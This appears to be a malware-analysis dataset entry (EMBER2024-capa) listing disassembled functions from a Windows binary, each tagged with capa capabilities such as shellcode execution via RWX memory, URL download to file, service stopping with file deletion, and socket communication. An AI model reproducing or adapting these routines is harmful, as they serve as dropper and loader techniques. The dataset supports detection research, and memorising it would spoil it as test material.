joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1007e850
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dc69d
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
mov eax, dword [0x1026abac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 3
push 0x10255ea0
push 0
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.10059a10
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0x3c
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c]
push eax
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], str.cmd.exe
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1007e8f9
or esi, 0xffffffff
jmp 0x1007e91d
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1007e953
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007e949
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007e949
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d565d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1007ee00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dc795
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1026abac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov dword [ebp - 0x10], ecx
lea edx, [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.1007ec20
mov byte [ebp - 4], 1
mov esi, dword [ebp - 0x18]
sub esi, dword [ebp - 0x1c]
sar esi, 3
push esi
call fcn.101d5946
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
jle 0x1007ee6e
nop dword [eax]
mov ecx, dword [ebp - 0x1c]
mov cl, byte [ecx + edx*8]
mov byte [edx + edi], cl
inc edx
cmp edx, esi
jl 0x1007ee60
add ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
push eax
push 0x40
push esi
push ebx
push dword [0x10709764]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
mov eax, dword [0x1072a81c]
test eax, eax
je 0x1007ee9e
push 0
push esi
push edi
push ebx
push dword [0x10709764]
call eax
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push esi
push ebx
push dword [0x10709764]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push edi
call fcn.101d5941
mov edx, dword [ebp - 0x1c]
add esp, 4
test edx, edx
je 0x1007ef04
mov ecx, dword [ebp - 0x14]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x1007eee5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007ef2a
push ecx
push edx
call fcn.101d565d
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1007ef3a
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007ef30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007ef30
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1007fd80
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dc968
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x1026abac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
xorps xmm0, xmm0
mov eax, dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x18], 0
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
movups xmmword [ebp - 0x28], xmm0
cmovae edx, dword [ebp + 8]
mov dword [ebp - 0x14], 0
cmp edx, eax
jne 0x1007fdfd
mov eax, 0xf
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x28], 0
jmp 0x1007fe0c
sub eax, edx
lea ecx, [ebp - 0x28]
push eax
push edx
call fcn.1004d7a0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
mov byte [ebp - 4], 2
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
cmovae esi, dword [ebp + 0x20]
nop dword [eax]
push 0
push 0
push esi
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
sub esp, 8
lea ecx, [ebp - 0xf8]
push 0x24
push esi
call fcn.1004c520
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0xf8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 2
call fcn.10049a30
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x40]
je 0x1007fe30
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x1007feae
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007fea4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007ff28
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x1007fef0
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007fee6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007ff28
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x1007ff38
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007ff2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007ff2e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d51d8
mov esp, ebp
pop ebp
ret
Function at 0x10080c40
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dcb3d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1026abac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0xf
push 9
push str.net_stop
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.1004c990
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push ecx
mov ecx, eax
call fcn.1004c990
push 9
push str.sc_stop
lea ecx, [ebp - 0x28]
call fcn.1004c990
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push ecx
mov ecx, eax
call fcn.1004c990
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.1004b7d0
call fcn.1007e850
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x10255e94
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x10080d2d
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x10080d61
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10080d57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10080ddb
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x10080da3
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10080d99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10080ddb
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x10080deb
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10080de1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10080de1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d565d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d51d8
mov esp, ebp
pop ebp
ret
Function at 0x10083450
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x102586f4
push dword [ebp + 8]
lea eax, [ebp - 4]
mov dword [ebp - 8], ecx
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov ebx, dword [ebp - 4]
add esp, 0xc
test ebx, ebx
jne 0x1008348b
lea eax, [ebx - 3]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 2
push 0
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x100834a4
mov esi, 0xfffffffd
jmp 0x1008351c
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
add esp, 4
test esi, esi
js 0x1008349d
jne 0x100834ba
xor esi, esi
jmp 0x1008351c
lea eax, [esi + 1]
push 0x1024f458
push eax
call fcn.101d594f
mov edi, eax
add esp, 8
test edi, edi
jne 0x100834d6
lea esi, [eax - 2]
jmp 0x1008351c
push 0
push 0
push ebx
mov byte [edi + esi], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
push ebx
push esi
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, esi
je 0x10083507
push edi
call fcn.101d5941
mov esi, 0xfffffffd
jmp 0x10083519
mov ecx, dword [ebp - 8]
push eax
push edi
call fcn.10083b30
push edi
mov esi, eax
call fcn.101d5941
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10083540
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
mov esi, ecx
push 0x10254358
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x10083639
xor cl, cl
nop dword [eax + eax]
movsx edx, cl
cmp byte [edx + eax], 0xb8
je 0x10083589
inc cl
cmp cl, 0xf
jl 0x10083570
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [edx + eax + 1]
test ebx, ebx
je 0x10083638
push str.Wow64Transition
push 0x10254358
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40
push 0x3000
push 0x10
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
shr ecx, 8
mov dword [ebp - 0x10], ecx
mov ecx, eax
shr eax, 0x18
mov dword [ebp - 0x18], eax
mov eax, ebx
shr eax, 8
mov dword [ebp + 8], eax
mov eax, ebx
shr eax, 0x10
mov dword [ebp - 4], eax
mov eax, ebx
shr ecx, 0x10
shr eax, 0x18
push 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [esi], eax
test eax, eax
je 0x10083638
mov ecx, dword [ebp + 8]
mov dword [eax], 0xb8909090
mov byte [eax + 4], bl
mov byte [eax + 5], cl
mov ecx, dword [ebp - 4]
mov byte [eax + 6], cl
mov ecx, dword [ebp - 8]
mov byte [eax + 7], cl
mov ecx, dword [ebp - 0xc]
mov byte [eax + 8], 0xba
mov byte [eax + 9], cl
mov ecx, dword [ebp - 0x10]
mov byte [eax + 0xa], cl
mov ecx, dword [ebp - 0x14]
mov byte [eax + 0xb], cl
mov ecx, dword [ebp - 0x18]
mov byte [eax + 0xc], cl
mov word [eax + 0xd], 0xd2ff
mov byte [eax + 0xf], 0xc3
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1008ad60
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
cmp byte [0x10706244], 0
jne 0x1008ad6e
call fcn.1009f050
cmp byte [0x1070624d], 0
je 0x1008ad8c
push 0
push 0x40
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.1009f3e0
add esp, 0x10
ret
jmp fcn.10089110
Function at 0x100a99a0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
sub esp, 0x18
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
test esi, esi
je 0x100a9a6b
lea eax, [esp + 4]
push eax
push esi
push 2
call fcn.100c33a0
add esp, 0xc
test eax, eax
jne 0x100a9a6b
lea eax, [esp + 8]
push eax
push esi
push 0x17
call fcn.100c33a0
add esp, 0xc
test eax, eax
jne 0x100a9a6b
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x100a99f4
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.100c3370
add esp, 0xc
test eax, eax
je 0x100a9a28
sub eax, esi
push eax
push 0x2e
push esi
call fcn.100c3370
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x100a9a2a
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x100a9a56
mov al, byte [esi]
push eax
call fcn.100b7bf0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x100a9a38
pop edi
movzx eax, bl
pop ebx
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.101d51d8
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.101d51d8
add esp, 0x18
ret

Function at 0x100aa6f0
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [0x102670ec]
cmp eax, 0xffffffff
jne 0x100aa732
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100aa718
xor eax, eax
test eax, eax
mov dword [0x102670ec], eax
setg al
ret
push eax
push 0
mov dword [0x102670ec], 1
call fcn.100b3e00
mov eax, dword [0x102670ec]
add esp, 8
test eax, eax
setg al
ret

Function at 0x100aa740
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x2f0], 2
jne 0x100aa795
mov eax, dword [0x102670ec]
cmp eax, 0xffffffff
jne 0x100aa78f
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100aa775
xor eax, eax
test eax, eax
mov dword [0x102670ec], eax
setg al
ret
push eax
push 0
mov dword [0x102670ec], 1
call fcn.100b3e00
mov eax, dword [0x102670ec]
add esp, 8
test eax, eax
setg al
ret
mov al, 1
ret
Function at 0x100b32c0
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp dword [edi + 0x608], 0
je 0x100b3304
push esi
push 1
push edi
call fcn.100a5880
push dword [edi + 0x59c]
mov eax, dword [edi + 0x608]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push 0
push edi
mov esi, eax
call fcn.100a5880
add esp, 0x24
mov eax, esi
pop esi
pop edi
ret
mov eax, dword [esp + 0xc]
cmp eax, 2
ja 0x100b333d
push dword [edi + 0x598]
lea eax, [eax + eax*2]
push 1
add eax, 0x101e6450
push 2
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
push dword [edi + 0x598]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x20
xor eax, eax
pop edi
ret

Function at 0x100b3930
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x8c
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x98]
mov edx, dword [esp + 0x94]
push ebx
mov ebx, dword [esp + 0x94]
mov dword [esp + 8], eax
xor eax, eax
push ebp
mov ebp, dword [esp + 0xa8]
mov ecx, dword [ebx + 0x1c4]
cmp edx, ecx
push esi
sete al
mov esi, 0x1e4
push edi
lea eax, [eax*4 + 0x1c0]
mov eax, dword [eax + ebx]
mov dword [esp + 0x10], eax
mov eax, 0x1f4
cmove esi, eax
mov eax, dword [ebx + 0x2e8]
add esi, ebx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x100b3a3e
xor eax, eax
cmp edx, ecx
sete al
lea eax, [eax*4 + 0x1d4]
cmp dword [eax + ebx], 0x100b3600
jne 0x100b3a3e
cmp dword [esi], 0
je 0x100b39c8
test edi, edi
je 0x100b3a3e
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [esp + 0x20]
call fcn.100b6300
add esp, 0x14
cmp eax, 0xffffffff
je 0x100b3a3e
test al, 1
je 0x100b3a3e
mov ecx, dword [esi]
test ecx, ecx
jne 0x100b3a1b
mov eax, dword [ebx]
mov eax, dword [eax + 0x8fc]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x102670d8]
mov edi, dword [esi + 4]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test ecx, ecx
je 0x100b3a37
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x100b3a3e
add dword [esi + 8], eax
jmp 0x100b3a3e
mov dword [esi + 4], 0
push 0
push dword [esp + 0xb0]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100b3aa7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x100b3a78
mov dword [ebp], 0
lea eax, [edi + 0x52]
jmp 0x100b3aac
push 0x80
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.100a14c0
push eax
push str.Send_failure:__s
push dword [ebx]
call fcn.100b3350
mov eax, dword [ebx]
add esp, 0x18
mov dword [eax + 0xcec], esi
mov eax, 0x37
jmp 0x100b3aa9
xor eax, eax
mov dword [ebp], edi
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101d51d8
add esp, 0x8c
ret
Function at 0x100b5900
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push 0x101e68c8
xor edi, edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100b591a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x101e68e4
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strpbrk
add esp, 8
test eax, eax
je 0x100b5962
test ebp, ebp
je 0x100b5953
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x100b5988
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x100b5988
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x100b5a3f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100b59a5
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x102670d8]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100b5a35
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x100b5a35
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100b59d7
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100b59f0
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x100b5a00
test ebp, ebp
je 0x100b5a2c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x102670dc]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x102670dc]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x100c18f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server

Disassembly:
sub esp, 0x34
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
mov ebx, dword [esp + 0x48]
push esi
mov esi, dword [sym.imp.WS2_32.dll_socket]
push edi
push 6
push 1
push 2
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x18], 1
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x100c1ad6
xorps xmm0, xmm0
mov eax, 2
push 0x7f000001
movlpd qword [esp + 0x20], xmm0
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [esp + 0x18], eax
xor eax, eax
push 4
mov word [esp + 0x1a], ax
lea eax, [esp + 0x10]
push eax
push 4
push 0xffff
push edi
mov dword [ebx + 4], 0xffffffff
mov dword [ebx], 0xffffffff
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x100c1ac4
push 0x10
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x100c1ac4
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x100c1ac4
push 1
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x100c1ac4
push 0
push 1
push 2
call esi
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x100c1ac4
push 0x10
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100c1ac4
push 0
push 0
push edi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x100c1ac4
push ebx
push 0x101e82c4
lea eax, [esp + 0x2c]
push 0xc
push eax
call fcn.100b6890
lea esi, [esp + 0x34]
add esp, 0x10
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100c1a22
push 0
sub esi, ecx
lea eax, [esp + 0x28]
push esi
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
jne 0x100c1ac4
push 0
push 0xc
lea eax, [esp + 0x38]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x100c1ac4
lea ecx, [esp + 0x24]
lea edx, [esp + 0x30]
sub esi, 4
jb 0x100c1a77
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x100c1a7c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100c1a66
cmp esi, 0xfffffffc
je 0x100c1aa9
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100c1ac4
cmp esi, 0xfffffffd
je 0x100c1aa9
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100c1ac4
cmp esi, 0xfffffffe
je 0x100c1aa9
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x100c1ac4
cmp esi, 0xffffffff
je 0x100c1aa9
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x100c1ac4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.101d51d8
add esp, 0x34
ret
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push edi
call esi
push dword [ebx]
call esi
push dword [ebx + 4]
call esi
mov ecx, dword [esp + 0x3c]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.101d51d8
add esp, 0x34
ret